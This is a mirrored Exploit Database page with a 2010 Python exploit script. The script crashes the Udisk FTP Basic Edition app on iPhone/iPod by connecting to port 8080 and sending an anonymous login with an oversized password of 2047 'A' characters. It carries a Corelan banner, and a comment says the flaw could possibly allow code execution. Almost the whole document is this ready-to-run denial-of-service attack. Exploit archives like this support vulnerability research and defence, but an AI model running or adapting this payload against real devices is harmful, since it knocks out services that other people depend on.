iOS Udisk FTP Basic Edition – Remote Denial of Service

• Exploit Database
• 7 阅读

• 作者： mr_me
  日期： 2010-01-12
• 类别：

  • dos
  平台：

  • ios
• 来源：https://www.exploit-db.com/exploits/11117/

• #!/usr/bin/python
  #
  # Apple Iphone/Ipod - Udisk FTP Basic Edition Remote 0day DOS exploit
  # Found by: Steven Seeley (mr_me) seeleymagic [at] hotmail [dot] com
  # Homepage: http://6tags.com/n/
  # Price: $4.99
  # Download: From the app store (use your itunes account)
  # Tested on: Iphone 3G - firmware 3.1.2 (Darwin kernel)
  # Greetz to: Corelan Security Team::corelanc0d3r/ekse/EdiStrosar/Rick2600/MarkoT/
  # Advisory: http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-003-u-disk-ftp-pre-auth-remote-dos/
  #
  # Note: This **could** be remotley exploitable with code execution. 
  # I have not reversed this app..
  
  print "|------------------------------------------------------------------|"
  print "| __ __|"
  print "| _________________/ /___ _____ / /________ _____ ___|"
  print "|/ ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
  print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |"
  print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|"
  print "||"
  print "| http://www.corelan.be:8800 |"
  print "|security@corelan.be |"
  print "||"
  print "|-------------------------------------------------[ EIP Hunters ]--|"
  
  print "[+] Apple Iphone/Ipod - Udisk FTP basic edition Remote DOS exploit"
  import socket
  import sys
  
  def Usage():
  print ("Usage:./udisk.py <serv_ip>\n")
  print ("Example:./udisk.py 192.168.2.3\n")
  if len(sys.argv) <> 2:
  Usage()
  sys.exit(1)
  else:
  hostname = sys.argv[1]
  username = "anonymous"
  passwd = "\x41" * 2047
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try:
  sock.connect((hostname, 8080))
  	print "[+] Connecting to the target.."
  except:
  print ("[-] Connection error!")
  sys.exit(1)
  r=sock.recv(1024)
  print "[+] Sending payload.. ph33r"
  sock.send("USER %s\r\n" %username)
  sock.send("PASS %s\r\n" %passwd)
  sock.send("PWD\r\n")
  sock.close()
  print "[+] Server is now DOS'ed!"
  sys.exit(0);